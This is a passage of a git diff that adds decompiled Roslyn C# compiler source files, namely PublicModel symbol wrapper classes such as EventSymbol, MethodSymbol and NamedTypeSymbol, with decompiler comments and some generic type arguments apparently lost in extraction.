WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new ErrorTypeSymbol(_underlying, nullableAnnotation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/EventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/EventSymbol.cs new file mode 100644 index 0000000..55dff2d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/EventSymbol.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class EventSymbol : Symbol, IEventSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.EventSymbol _underlying; + + private ITypeSymbol? _lazyType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.EventSymbol UnderlyingEventSymbol => _underlying; + + ITypeSymbol IEventSymbol.Type + { + get + { + if (_lazyType == null) + { + Interlocked.CompareExchange(ref _lazyType, _underlying.TypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyType; + } + } + + NullableAnnotation IEventSymbol.NullableAnnotation => _underlying.TypeWithAnnotations.ToPublicAnnotation(); + + IMethodSymbol? IEventSymbol.AddMethod => _underlying.AddMethod.GetPublicSymbol(); + + IMethodSymbol? IEventSymbol.RemoveMethod => _underlying.RemoveMethod.GetPublicSymbol(); + + IMethodSymbol? IEventSymbol.RaiseMethod => null; + + IEventSymbol IEventSymbol.OriginalDefinition => _underlying.OriginalDefinition.GetPublicSymbol(); + + IEventSymbol? IEventSymbol.OverriddenEvent => _underlying.OverriddenEvent.GetPublicSymbol(); + + ImmutableArray IEventSymbol.ExplicitInterfaceImplementations => _underlying.ExplicitInterfaceImplementations.GetPublicSymbols(); + + bool IEventSymbol.IsWindowsRuntimeEvent => _underlying.IsWindowsRuntimeEvent; + + public EventSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.EventSymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitEvent((IEventSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitEvent((IEventSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitEvent((IEventSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/FieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/FieldSymbol.cs new file mode 100644 index 0000000..8171a09 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/FieldSymbol.cs @@ -0,0 +1,78 @@ +using System; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class FieldSymbol : Symbol, IFieldSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol _underlying; + + private ITypeSymbol _lazyType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + ISymbol IFieldSymbol.AssociatedSymbol => _underlying.AssociatedSymbol.GetPublicSymbol(); + + RefKind IFieldSymbol.RefKind => _underlying.RefKind; + + ImmutableArray IFieldSymbol.RefCustomModifiers => _underlying.RefCustomModifiers; + + ITypeSymbol IFieldSymbol.Type + { + get + { + if (_lazyType == null) + { + Interlocked.CompareExchange(ref _lazyType, _underlying.TypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyType; + } + } + + NullableAnnotation IFieldSymbol.NullableAnnotation => _underlying.TypeWithAnnotations.ToPublicAnnotation(); + + ImmutableArray IFieldSymbol.CustomModifiers => _underlying.TypeWithAnnotations.CustomModifiers; + + IFieldSymbol IFieldSymbol.OriginalDefinition => _underlying.OriginalDefinition.GetPublicSymbol(); + + IFieldSymbol IFieldSymbol.CorrespondingTupleField => _underlying.CorrespondingTupleField.GetPublicSymbol(); + + bool IFieldSymbol.IsExplicitlyNamedTupleElement => _underlying.IsExplicitlyNamedTupleElement; + + bool IFieldSymbol.IsConst => _underlying.IsConst; + + bool IFieldSymbol.IsReadOnly => _underlying.IsReadOnly; + + bool IFieldSymbol.IsVolatile => _underlying.IsVolatile; + + bool IFieldSymbol.IsRequired => _underlying.IsRequired; + + bool IFieldSymbol.IsFixedSizeBuffer => _underlying.IsFixedSizeBuffer; + + int IFieldSymbol.FixedSize => _underlying.FixedSize; + + bool IFieldSymbol.HasConstantValue => _underlying.HasConstantValue; + + object IFieldSymbol.ConstantValue => _underlying.ConstantValue; + + public FieldSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitField((IFieldSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitField((IFieldSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitField((IFieldSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/FunctionPointerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/FunctionPointerTypeSymbol.cs new file mode 100644 index 0000000..bbc1b12 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/FunctionPointerTypeSymbol.cs @@ -0,0 +1,44 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class FunctionPointerTypeSymbol : TypeSymbol, IFunctionPointerTypeSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.FunctionPointerTypeSymbol _underlying; + + public IMethodSymbol Signature => _underlying.Signature.GetPublicSymbol(); + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + public FunctionPointerTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.FunctionPointerTypeSymbol underlying, NullableAnnotation nullableAnnotation) + : base(nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitFunctionPointerType((IFunctionPointerTypeSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitFunctionPointerType((IFunctionPointerTypeSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitFunctionPointerType((IFunctionPointerTypeSymbol)(object)this, argument); + } + + protected override ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new FunctionPointerTypeSymbol(_underlying, nullableAnnotation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/LabelSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/LabelSymbol.cs new file mode 100644 index 0000000..c570e4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/LabelSymbol.cs @@ -0,0 +1,32 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class LabelSymbol : Symbol, ILabelSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.LabelSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + IMethodSymbol ILabelSymbol.ContainingMethod => _underlying.ContainingMethod.GetPublicSymbol(); + + public LabelSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.LabelSymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitLabel((ILabelSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitLabel((ILabelSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitLabel((ILabelSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/LocalSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/LocalSymbol.cs new file mode 100644 index 0000000..9dd22be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/LocalSymbol.cs @@ -0,0 +1,67 @@ +using System; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class LocalSymbol : Symbol, ILocalSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.LocalSymbol _underlying; + + private ITypeSymbol _lazyType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + ITypeSymbol ILocalSymbol.Type + { + get + { + if (_lazyType == null) + { + Interlocked.CompareExchange(ref _lazyType, _underlying.TypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyType; + } + } + + NullableAnnotation ILocalSymbol.NullableAnnotation => _underlying.TypeWithAnnotations.ToPublicAnnotation(); + + bool ILocalSymbol.IsFunctionValue => false; + + bool ILocalSymbol.IsConst => _underlying.IsConst; + + bool ILocalSymbol.IsRef => _underlying.IsRef; + + RefKind ILocalSymbol.RefKind => _underlying.RefKind; + + ScopedKind ILocalSymbol.ScopedKind => _underlying.Scope; + + bool ILocalSymbol.HasConstantValue => _underlying.HasConstantValue; + + object ILocalSymbol.ConstantValue => _underlying.ConstantValue; + + bool ILocalSymbol.IsFixed => _underlying.IsFixed; + + bool ILocalSymbol.IsForEach => _underlying.IsForEach; + + bool ILocalSymbol.IsUsing => _underlying.IsUsing; + + public LocalSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.LocalSymbol underlying) + { + _underlying = underlying; + } + + protected sealed override void Accept(SymbolVisitor visitor) + { + visitor.VisitLocal((ILocalSymbol)(object)this); + } + + protected sealed override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitLocal((ILocalSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitLocal((ILocalSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/MethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/MethodSymbol.cs new file mode 100644 index 0000000..36fcde7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/MethodSymbol.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Immutable; +using System.Reflection; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class MethodSymbol : Symbol, IMethodSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol _underlying; + + private ITypeSymbol _lazyReturnType; + + private ImmutableArray _lazyTypeArguments; + + private ImmutableArray _lazyParameters; + + private ITypeSymbol _lazyReceiverType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol UnderlyingMethodSymbol => _underlying; + + MethodKind IMethodSymbol.MethodKind + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected I4, but got Unknown + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + MethodKind methodKind = _underlying.MethodKind; + return (MethodKind)((int)methodKind switch + { + 0 => 0, + 1 => 1, + 2 => 2, + 3 => 3, + 4 => 4, + 5 => 5, + 7 => 7, + 8 => 8, + 9 => 9, + 15 => 15, + 10 => 10, + 11 => 11, + 12 => 12, + 13 => 13, + 14 => 14, + 17 => 17, + 18 => 18, + _ => throw ExceptionUtilities.UnexpectedValue((object)_underlying.MethodKind), + }); + } + } + + ITypeSymbol IMethodSymbol.ReturnType + { + get + { + if (_lazyReturnType == null) + { + Interlocked.CompareExchange(ref _lazyReturnType, _underlying.ReturnTypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyReturnType; + } + } + + NullableAnnotation IMethodSymbol.ReturnNullableAnnotation => _underlying.ReturnTypeWithAnnotations.ToPublicAnnotation(); + + ImmutableArray IMethodSymbol.TypeArguments => InterlockedOperations.Initialize(ref _lazyTypeArguments, (Func>)((Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol underlying) => underlying.TypeArgumentsWithAnnotations.GetPublicSymbols()), _underlying); + + ImmutableArray IMethodSymbol.TypeArgumentNullableAnnotations => _underlying.TypeArgumentsWithAnnotations.ToPublicAnnotations(); + + ImmutableArray IMethodSymbol.TypeParameters => _underlying.TypeParameters.GetPublicSymbols(); + + ImmutableArray IMethodSymbol.Parameters => InterlockedOperations.Initialize(ref _lazyParameters, (Func>)((Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol underlying) => underlying.Parameters.GetPublicSymbols()), _underlying); + + IMethodSymbol IMethodSymbol.ConstructedFrom => _underlying.ConstructedFrom.GetPublicSymbol(); + + bool IMethodSymbol.IsReadOnly => _underlying.IsEffectivelyReadOnly; + + bool IMethodSymbol.IsInitOnly => _underlying.IsInitOnly; + + IMethodSymbol IMethodSymbol.OriginalDefinition => _underlying.OriginalDefinition.GetPublicSymbol(); + + IMethodSymbol IMethodSymbol.OverriddenMethod => _underlying.OverriddenMethod.GetPublicSymbol(); + + ITypeSymbol IMethodSymbol.ReceiverType + { + get + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (_lazyReceiverType == null) + { + Interlocked.CompareExchange(ref _lazyReceiverType, _underlying.ReceiverType?.GetITypeSymbol(_underlying.ReceiverNullableAnnotation), null); + } + return _lazyReceiverType; + } + } + + NullableAnnotation IMethodSymbol.ReceiverNullableAnnotation => _underlying.ReceiverNullableAnnotation; + + IMethodSymbol IMethodSymbol.ReducedFrom => _underlying.ReducedFrom.GetPublicSymbol(); + + ImmutableArray IMethodSymbol.ExplicitInterfaceImplementations => _underlying.ExplicitInterfaceImplementations.GetPublicSymbols(); + + ISymbol IMethodSymbol.AssociatedSymbol => _underlying.AssociatedSymbol.GetPublicSymbol(); + + bool IMethodSymbol.IsGenericMethod => _underlying.IsGenericMethod; + + bool IMethodSymbol.IsAsync => _underlying.IsAsync; + + bool IMethodSymbol.HidesBaseMethodsByName => _underlying.HidesBaseMethodsByName; + + ImmutableArray IMethodSymbol.ReturnTypeCustomModifiers => _underlying.ReturnTypeWithAnnotations.CustomModifiers; + + ImmutableArray IMethodSymbol.RefCustomModifiers => _underlying.RefCustomModifiers; + + SignatureCallingConvention IMethodSymbol.CallingConvention => CallingConventionUtils.ToSignatureConvention(_underlying.CallingConvention); + + ImmutableArray IMethodSymbol.UnmanagedCallingConventionTypes => ImmutableArrayExtensions.SelectAsArray(_underlying.UnmanagedCallingConventionTypes, (Func)((Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol t) => t.GetPublicSymbol())); + + IMethodSymbol IMethodSymbol.PartialImplementationPart => _underlying.PartialImplementationPart.GetPublicSymbol(); + + IMethodSymbol IMethodSymbol.PartialDefinitionPart => _underlying.PartialDefinitionPart.GetPublicSymbol(); + + bool IMethodSymbol.IsPartialDefinition => _underlying.IsPartialDefinition(); + + INamedTypeSymbol IMethodSymbol.AssociatedAnonymousDelegate => null; + + int IMethodSymbol.Arity => _underlying.Arity; + + bool IMethodSymbol.IsExtensionMethod => _underlying.IsExtensionMethod; + + MethodImplAttributes IMethodSymbol.MethodImplementationFlags => _underlying.ImplementationAttributes; + + bool IMethodSymbol.IsVararg => _underlying.IsVararg; + + bool IMethodSymbol.IsCheckedBuiltin => _underlying.IsCheckedBuiltin; + + bool IMethodSymbol.ReturnsVoid => _underlying.ReturnsVoid; + + bool IMethodSymbol.ReturnsByRef => _underlying.ReturnsByRef; + + bool IMethodSymbol.ReturnsByRefReadonly => _underlying.ReturnsByRefReadonly; + + RefKind IMethodSymbol.RefKind => _underlying.RefKind; + + bool IMethodSymbol.IsConditional => _underlying.IsConditional; + + public MethodSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol underlying) + { + _underlying = underlying; + } + + ITypeSymbol IMethodSymbol.GetTypeInferredDuringReduction(ITypeParameterSymbol reducedFromTypeParameter) + { + return _underlying.GetTypeInferredDuringReduction(reducedFromTypeParameter.EnsureCSharpSymbolOrNull("reducedFromTypeParameter")).GetPublicSymbol(); + } + + IMethodSymbol IMethodSymbol.ReduceExtensionMethod(ITypeSymbol receiverType) + { + return _underlying.ReduceExtensionMethod(receiverType.EnsureCSharpSymbolOrNull("receiverType"), null).GetPublicSymbol(); + } + + ImmutableArray IMethodSymbol.GetReturnTypeAttributes() + { + return ImmutableArrayExtensions.Cast(_underlying.GetReturnTypeAttributes()); + } + + IMethodSymbol IMethodSymbol.Construct(params ITypeSymbol[] typeArguments) + { + return _underlying.Construct(Symbol.ConstructTypeArguments(typeArguments)).GetPublicSymbol(); + } + + IMethodSymbol IMethodSymbol.Construct(ImmutableArray typeArguments, ImmutableArray typeArgumentNullableAnnotations) + { + return _underlying.Construct(Symbol.ConstructTypeArguments(typeArguments, typeArgumentNullableAnnotations)).GetPublicSymbol(); + } + + DllImportData IMethodSymbol.GetDllImportData() + { + return _underlying.GetDllImportData(); + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitMethod((IMethodSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitMethod((IMethodSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitMethod((IMethodSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ModuleSymbol.cs new file mode 100644 index 0000000..4395236 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ModuleSymbol.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class ModuleSymbol : Symbol, IModuleSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.ModuleSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + INamespaceSymbol IModuleSymbol.GlobalNamespace => _underlying.GlobalNamespace.GetPublicSymbol(); + + ImmutableArray IModuleSymbol.ReferencedAssemblySymbols => _underlying.ReferencedAssemblySymbols.GetPublicSymbols(); + + ImmutableArray IModuleSymbol.ReferencedAssemblies => _underlying.ReferencedAssemblies; + + public ModuleSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.ModuleSymbol underlying) + { + _underlying = underlying; + } + + INamespaceSymbol IModuleSymbol.GetModuleNamespace(INamespaceSymbol namespaceSymbol) + { + return _underlying.GetModuleNamespace(namespaceSymbol).GetPublicSymbol(); + } + + ModuleMetadata IModuleSymbol.GetMetadata() + { + return _underlying.GetMetadata(); + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitModule((IModuleSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitModule((IModuleSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitModule((IModuleSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamedTypeSymbol.cs new file mode 100644 index 0000000..5873a8f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamedTypeSymbol.cs @@ -0,0 +1,133 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal abstract class NamedTypeSymbol : TypeSymbol, INamedTypeSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private ImmutableArray _lazyTypeArguments; + + internal abstract Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol UnderlyingNamedTypeSymbol { get; } + + int INamedTypeSymbol.Arity => UnderlyingNamedTypeSymbol.Arity; + + ImmutableArray INamedTypeSymbol.InstanceConstructors => UnderlyingNamedTypeSymbol.InstanceConstructors.GetPublicSymbols(); + + ImmutableArray INamedTypeSymbol.StaticConstructors => UnderlyingNamedTypeSymbol.StaticConstructors.GetPublicSymbols(); + + ImmutableArray INamedTypeSymbol.Constructors => UnderlyingNamedTypeSymbol.Constructors.GetPublicSymbols(); + + IEnumerable INamedTypeSymbol.MemberNames => UnderlyingNamedTypeSymbol.MemberNames; + + ImmutableArray INamedTypeSymbol.TypeParameters => UnderlyingNamedTypeSymbol.TypeParameters.GetPublicSymbols(); + + ImmutableArray INamedTypeSymbol.TypeArguments + { + get + { + if (_lazyTypeArguments.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyTypeArguments, UnderlyingNamedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetPublicSymbols(), default(ImmutableArray)); + } + return _lazyTypeArguments; + } + } + + ImmutableArray INamedTypeSymbol.TypeArgumentNullableAnnotations => UnderlyingNamedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.ToPublicAnnotations(); + + INamedTypeSymbol INamedTypeSymbol.OriginalDefinition => UnderlyingNamedTypeSymbol.OriginalDefinition.GetPublicSymbol(); + + IMethodSymbol INamedTypeSymbol.DelegateInvokeMethod => UnderlyingNamedTypeSymbol.DelegateInvokeMethod.GetPublicSymbol(); + + INamedTypeSymbol INamedTypeSymbol.EnumUnderlyingType => UnderlyingNamedTypeSymbol.EnumUnderlyingType.GetPublicSymbol(); + + INamedTypeSymbol INamedTypeSymbol.ConstructedFrom => UnderlyingNamedTypeSymbol.ConstructedFrom.GetPublicSymbol(); + + ISymbol INamedTypeSymbol.AssociatedSymbol => null; + + ImmutableArray INamedTypeSymbol.TupleElements => UnderlyingNamedTypeSymbol.TupleElements.GetPublicSymbols(); + + INamedTypeSymbol INamedTypeSymbol.TupleUnderlyingType + { + get + { + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol underlyingNamedTypeSymbol = UnderlyingNamedTypeSymbol; + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol tupleUnderlyingType = underlyingNamedTypeSymbol.TupleUnderlyingType; + if (!underlyingNamedTypeSymbol.Equals(tupleUnderlyingType, (TypeCompareKind)0)) + { + return tupleUnderlyingType.GetPublicSymbol(); + } + return null; + } + } + + bool INamedTypeSymbol.IsComImport => UnderlyingNamedTypeSymbol.IsComImport; + + bool INamedTypeSymbol.IsGenericType => UnderlyingNamedTypeSymbol.IsGenericType; + + bool INamedTypeSymbol.IsUnboundGenericType => UnderlyingNamedTypeSymbol.IsUnboundGenericType; + + bool INamedTypeSymbol.IsScriptClass => UnderlyingNamedTypeSymbol.IsScriptClass; + + bool INamedTypeSymbol.IsImplicitClass => UnderlyingNamedTypeSymbol.IsImplicitClass; + + bool INamedTypeSymbol.MightContainExtensionMethods => UnderlyingNamedTypeSymbol.MightContainExtensionMethods; + + bool INamedTypeSymbol.IsSerializable => UnderlyingNamedTypeSymbol.IsSerializable; + + bool INamedTypeSymbol.IsFileLocal + { + get + { + if (UnderlyingNamedTypeSymbol.OriginalDefinition is SourceMemberContainerTypeSymbol) + { + return UnderlyingNamedTypeSymbol.IsFileLocal; + } + return false; + } + } + + INamedTypeSymbol INamedTypeSymbol.NativeIntegerUnderlyingType => UnderlyingNamedTypeSymbol.NativeIntegerUnderlyingType.GetPublicSymbol(); + + public NamedTypeSymbol(NullableAnnotation nullableAnnotation = (NullableAnnotation)0) + : base(nullableAnnotation) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + + + ImmutableArray INamedTypeSymbol.GetTypeArgumentCustomModifiers(int ordinal) + { + return UnderlyingNamedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[ordinal].CustomModifiers; + } + + INamedTypeSymbol INamedTypeSymbol.Construct(params ITypeSymbol[] typeArguments) + { + return UnderlyingNamedTypeSymbol.Construct(Symbol.ConstructTypeArguments(typeArguments), unbound: false).GetPublicSymbol(); + } + + INamedTypeSymbol INamedTypeSymbol.Construct(ImmutableArray typeArguments, ImmutableArray typeArgumentNullableAnnotations) + { + return UnderlyingNamedTypeSymbol.Construct(Symbol.ConstructTypeArguments(typeArguments, typeArgumentNullableAnnotations), unbound: false).GetPublicSymbol(); + } + + INamedTypeSymbol INamedTypeSymbol.ConstructUnboundGenericType() + { + return UnderlyingNamedTypeSymbol.ConstructUnboundGenericType().GetPublicSymbol(); + } + + protected sealed override void Accept(SymbolVisitor visitor) + { + visitor.VisitNamedType((INamedTypeSymbol)(object)this); + } + + protected sealed override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitNamedType((INamedTypeSymbol)(object)this); + } + + protected sealed override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitNamedType((INamedTypeSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamespaceOrTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamespaceOrTypeSymbol.cs new file mode 100644 index 0000000..60cb6db --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamespaceOrTypeSymbol.cs @@ -0,0 +1,38 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal abstract class NamespaceOrTypeSymbol : Symbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + internal abstract Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol { get; } + + bool INamespaceOrTypeSymbol.IsNamespace => (int)UnderlyingSymbol.Kind == 12; + + bool INamespaceOrTypeSymbol.IsType => (int)UnderlyingSymbol.Kind != 12; + + ImmutableArray INamespaceOrTypeSymbol.GetMembers() + { + return UnderlyingNamespaceOrTypeSymbol.GetMembers().GetPublicSymbols(); + } + + ImmutableArray INamespaceOrTypeSymbol.GetMembers(string name) + { + return UnderlyingNamespaceOrTypeSymbol.GetMembers(name).GetPublicSymbols(); + } + + ImmutableArray INamespaceOrTypeSymbol.GetTypeMembers() + { + return UnderlyingNamespaceOrTypeSymbol.GetTypeMembers().GetPublicSymbols(); + } + + ImmutableArray INamespaceOrTypeSymbol.GetTypeMembers(string name) + { + return UnderlyingNamespaceOrTypeSymbol.GetTypeMembers(name).GetPublicSymbols(); + } + + ImmutableArray INamespaceOrTypeSymbol.GetTypeMembers(string name, int arity) + { + return UnderlyingNamespaceOrTypeSymbol.GetTypeMembers(name, arity).GetPublicSymbols(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamespaceSymbol.cs new file mode 100644 index 0000000..c41b516 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NamespaceSymbol.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class 